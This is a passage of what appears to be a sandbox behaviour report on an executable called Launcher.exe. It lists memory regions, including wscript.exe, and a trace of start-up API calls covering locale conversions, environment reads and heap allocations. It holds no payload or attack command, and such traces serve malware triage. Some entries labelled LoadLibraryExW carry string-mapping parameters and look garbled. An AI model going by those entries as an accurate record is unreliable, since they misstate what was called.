end_va = 0x77201fff monitored = 0 entry_point = 0x771f1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 391 start_va = 0xa90000 end_va = 0xa9cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 408 start_va = 0xaa0000 end_va = 0xac5fff monitored = 0 entry_point = 0xaa2f3b region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Region: id = 409 start_va = 0x2e80000 end_va = 0x2ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e80000" filename = "" Region: id = 410 start_va = 0x34c0000 end_va = 0x35bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034c0000" filename = "" Region: id = 411 start_va = 0x35c0000 end_va = 0x36bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035c0000" filename = "" Region: id = 412 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 413 start_va = 0x21b0000 end_va = 0x21b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wscript.exe.mui") Region: id = 414 start_va = 0x21e0000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Thread: id = 1 os_tid = 0xe24 [0036.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x38fa54 | out: lpSystemTimeAsFileTime=0x38fa54*(dwLowDateTime=0x410f7800, dwHighDateTime=0x1d9eb0c)) [0036.377] GetCurrentThreadId () returned 0xe24 [0036.378] GetCurrentProcessId () returned 0xe20 [0036.378] QueryPerformanceCounter (in: lpPerformanceCount=0x38fa4c | out: lpPerformanceCount=0x38fa4c*=2484291575334) returned 1 [0036.433] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0036.433] LoadLibraryExW (lpLibFileName="?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¼\x8c\x87+Äù8", cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¼\x8c\x87+Äù8", cbMultiByte=256, lpWideCharStr=0x38f018, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0036.440] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x38f288 | out: lpCharType=0x38f288) returned 1 [0036.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¼\x8c\x87+Äù8", cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¼\x8c\x87+Äù8", cbMultiByte=256, lpWideCharStr=0x38efc8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0036.440] LoadLibraryExW (lpLibFileName="?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0036.441] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x38edb8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0036.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x38f788, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¼\x8c\x87+Äù8", lpUsedDefaultChar=0x0) returned 256 [0036.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¼\x8c\x87+Äù8", cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0036.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¼\x8c\x87+Äù8", cbMultiByte=256, lpWideCharStr=0x38efd8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0036.441] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0036.441] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x38edc8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0036.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x38f688, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¼\x8c\x87+Äù8", lpUsedDefaultChar=0x0) returned 256 [0036.441] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x80) returned 0x5a5fa8 [0036.441] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x8d1130, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\launcher.exe")) returned 0x27 [0036.441] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x30) returned 0x5a6030 [0036.441] RtlInitializeSListHead (in: ListHead=0x8d0d28 | out: ListHead=0x8d0d28) [0036.441] GetLastError () returned 0x0 [0036.442] SetLastError (dwErrCode=0x0) [0036.442] GetEnvironmentStringsW () returned 0x5a6068* [0036.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1472, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1472 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x5c0) returned 0x5a6bf0 [0036.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1472, lpMultiByteStr=0x5a6bf0, cbMultiByte=1472, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1472 [0036.442] FreeEnvironmentStringsW (penv=0x5a6068) returned 1 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x98) returned 0x5a6068 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1f) returned 0x5a5a20 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2b) returned 0x5a6108 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x37) returned 0x5a6140 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3c) returned 0x5a6180 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x31) returned 0x5a61c8 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x18) returned 0x5a6208 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x24) returned 0x5a6228 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x14) returned 0x5a6258 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xd) returned 0x59f1f8 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1a) returned 0x5a5a48 [0036.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2e) returned 0x5a6278 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x19) returned 0x5a5a70 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x17) returned 0x5a62b0 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xe) returned 0x59f210 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xce) returned 0x5a62d0 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3e) returned 0x5a63a8 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1b) returned 0x5a5a98 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1d) returned 0x5a5ac0 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x48) returned 0x5a63f0 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x12) returned 0x5a6440 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x18) returned 0x5a6460 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1b) returned 0x5a5ae8 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x24) returned 0x5a6480 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x29) returned 0x5a64b0 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1e) returned 0x5a5b10 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x6b) returned 0x5a64e8 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x17) returned 0x5a6560 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xf) returned 0x59f228 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x16) returned 0x5a6580 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2a) returned 0x5a65a0 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x29) returned 0x5a65d8 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x16) returned 0x5a6610 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x13) returned 0x5a6630 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1f) returned 0x5a5b38 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x12) returned 0x5a6650 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x18) returned 0x5a6670 [0036.443] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x46) returned 0x5a6690 [0036.444] HeapFree (in: 